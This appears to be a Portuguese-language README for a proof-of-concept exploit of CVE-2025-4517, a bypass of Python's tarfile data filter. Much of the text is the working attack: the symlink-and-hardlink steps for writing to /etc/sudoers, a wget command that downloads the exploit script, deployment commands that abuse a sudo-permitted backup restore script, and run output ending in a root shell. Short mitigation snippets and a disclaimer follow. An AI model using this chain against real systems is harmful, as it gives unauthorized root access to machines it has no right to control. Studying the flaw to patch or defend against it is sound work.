
Script de escalonamento de privilégios para CVE-2025-4517
Este exploit e descrição foram escritos por IA. Se encontrar um erro ou problema, por favor me avise! Este exploit foi testado e confirmado funcionando. Obrigado!
Este exploit aproveita a CVE-2025-4517, uma vulnerabilidade crítica no módulo tarfile do Python que permite escrita arbitrária de arquivos através de uma combinação de path traversal por symlink e manipulação de hardlinks. Isso contorna a proteção filter="data" introduzida no Python 3.12.
A vulnerabilidade explora uma falha na forma como o tarfile.extractall() do Python lida com a interação entre:
filter="data" bloqueia escapes diretos de symlink, mas a técnica de hardlink contorna essa proteção1. Criar diretórios aninhados profundos (confusão de caminho)
└─ Usa nomes de diretório de 247 caracteres repetidos 16 níveis de profundidade
2. Construir cadeia de symlinks para traversal
└─ Cria symlinks que resolvem para cima através da árvore de diretórios
3. Escapar symlink para o diretório alvo (/etc)
└─ O symlink final aponta para fora do limite de extração
4. Criar hardlink apontando através do symlink de escape
└─ Hardlink: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. Escrever conteúdo no hardlink
└─ Escrever em "sudoers_link" na verdade escreve em /etc/sudoers
Script: /opt/backup_clients/restore_backup_clients.py
# Código vulnerável (trecho)
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Permissões Sudo:
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/backups/# Baixar o exploit
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# Mover para o sistema alvo
# Executar o exploit
./exploit.py
# Ou com Python
python3 exploit.py
Se preferir executar cada etapa manualmente:
# 1. Criar o tar do exploit
python3 exploit.py --create-only
# 2. Implantar no alvo
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. Executar através do script vulnerável
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. Verificar modificação no sudoers
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. Obter root
sudo /bin/bash
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Escalação de Privilégio via Bypass de Symlink + Hardlink ║
╚═══════════════════════════════════════════════════════════╝
[*] Usuário alvo: wacky
[*] Criando tar do exploit para o usuário: wacky
[*] Fase 1: Construindo estrutura de diretórios aninhados...
[*] Fase 2: Criando cadeia de symlinks para path traversal...
[*] Fase 3: Criando symlink de escape para /etc...
[*] Fase 4: Criando hardlink para /etc/sudoers...
[*] Fase 5: Escrevendo entrada no sudoers...
[+] Tar do exploit criado: /tmp/cve_2025_4517_exploit.tar
[*] Implantando exploit em: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit implantado com sucesso
[*] Disparando extração através do script vulnerável...
[+] Backup: backup_9999.tar
[+] Diretório de staging: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extração concluída em /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extração concluída
[*] Verificando sucesso do exploit...
[+] SUCESSO! Usuário 'wacky' adicionado ao sudoers
[+] Entrada: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] EXPLORAÇÃO BEM-SUCEDIDA!
[+] Usuário 'wacky' agora tem privilégios sudo completos
[+] Obter root com: sudo /bin/bash
============================================================
[?] Iniciar shell root agora? (s/n): s
[*] Iniciando shell root...
[*] Execute: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
/etc/sudoers python3 --version # Verificar versão
# Verificar membros suspeitos antes da extração
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("Symlinks/hardlinks não permitidos")
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("Path traversal detectado")
# Remover ou restringir acesso sudo ao script de backup
visudo
# Verificar conteúdo do tar antes da extração
tar -tzf archive.tar | grep -E '\.\./|^/'
/etc/sudoers # Configurar AIDE ou IDS similar
aide --check
Este exploit é fornecido apenas para fins educacionais e destina-se ao uso em:
O(s) autor(es) não assume(m) responsabilidade pelo uso indevido deste código.
Pesquisa Original: Vários pesquisadores de segurança (veja Referências)
Licença MIT - Veja o arquivo LICENSE para detalhes
Última Atualização: Março de 2026